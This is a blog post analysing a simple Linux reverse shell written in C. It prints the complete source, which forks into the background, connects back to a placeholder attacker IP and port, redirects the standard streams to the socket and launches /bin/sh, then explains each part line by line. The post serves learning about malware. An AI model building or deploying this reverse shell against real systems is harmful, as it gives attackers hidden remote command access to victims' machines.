⟵ back
Malware Analysis: Simple Linux Reverse Shell in C

Introduction

Today I am going to analyse my first piece of malware: A simple Linux Reverse Shell. I will analyse every part of this simple example and explain how everything works.


Code

#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char* CLIENT_IP = "IP HERE";
const int PORT = PORT HERE;

int main() {
  
  pid_t pid = fork();
  if(pid == -1) {
    puts("Error fork failed");
    return (1);
  }
  if(pid > 0) {
    return 0;
  }

  struct sockaddr_in sa;
  sa.sin_family = AF_INET;
  sa.sin_port = htons(PORT);
  sa.sin_addr.s_addr = inet_addr(CLIENT_IP);
  int sockt = socket(AF_INET, SOCK_STREAM, 0);

  while (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) {
      write(2, "Trying...\n", 10);
      sleep(5);
  }

  dup2(sockt, 0);
  dup2(sockt, 1);
  dup2(sockt, 2);
  write(2, "Success!\n", 9);
  char * const argv[] = {"/bin/sh", NULL};
  execve("/bin/sh", argv, NULL);
  return (0);
}

Analysis

The first thing in the code are the libraries:

#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
Library Used for
<sys/socket.h> socket(), connect()
<unistd.h> dup2(), write(), fork()
<netinet/in.h> sockaddr_in, AF_INET
<arpa/inet.h> inet_addr(), htons()
<sys/types.h> pid_t
<stdio.h> puts()
<stdlib.h> general functions
<string.h> string functions

After that this part is important:

const char* CLIENT_IP = "IP HERE";
const int PORT = PORT HERE;

Here we have two constants: one char pointer and one integer. The attacker’s IP and port are stored here so the reverse shell knows where to connect back to.


After that, one of the most important parts of the program:

pid_t pid = fork();
if(pid == -1) {
  puts("Error fork failed");
  return (1);
}
if(pid > 0) {
  return 0;
}

With fork() we are cloning the current process. After that there are two processes, one parent process and one child process. The program first checks if the fork was successful, if not it closes. If the cloning was successful (pid > 0) the parent process dies and the child process (pid = 0) keeps running in the background. This is a common technique to hide the reverse shell from the task manager or the terminal.


The next part prepares the socket:

struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(PORT);
sa.sin_addr.s_addr = inet_addr(CLIENT_IP);
int sockt = socket(AF_INET, SOCK_STREAM, 0);

A struct with the type sockaddr_in and the name sa is created. sockaddr_in allows us to store address information which will later be used by our socket to connect to the listener.

  • sa.sin_family = AF_INET specifies that we are using the IPv4 protocol
  • sa.sin_port sets the port using htons() which converts the port number into Big Endian so every computer understands it
  • sa.sin_addr.s_addr converts our IP string into an integer so the network protocol understands it
  • The last line creates the actual socket using IPv4 and TCP

In general the struct describes where you want to connect (IP and port). The socket below is just the communication channel .We tell it where to connect later with connect() and with the struct.


while (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) {
    write(2, "Trying...\n", 10);
    sleep(5);
}

This piece of code uses a while loop to keep trying to connect to our specified IP and port. While connect() returns != 0 (error) it keeps retrying every 5 seconds. If the connection is successful (= 0) the loop stops and the code continues.


dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

This redirects stdin (keyboard = 0), stdout (terminal output = 1) and stderr (terminal errors = 2) from the victim to the attacker over the socket.


write(2, "Success!\n", 9);

Prints a success message to the attacker’s screen so he knows the connection was established. This works because stderr (fd 2) now points to the socket.


char * const argv[] = {"/bin/sh", NULL};

This creates an array with the program path and NULL as the terminator. The NULL at the end is required so execve knows where the arguments stop.


execve("/bin/sh", argv, NULL);

This replaces the child process with a basic shell. Since all streams were redirected with dup2(), the attacker can now type commands and read the output.


return (0);

return 0 is only here in case execve fails,otherwise it will never be reached.


Author: ml0w6c65766c

comments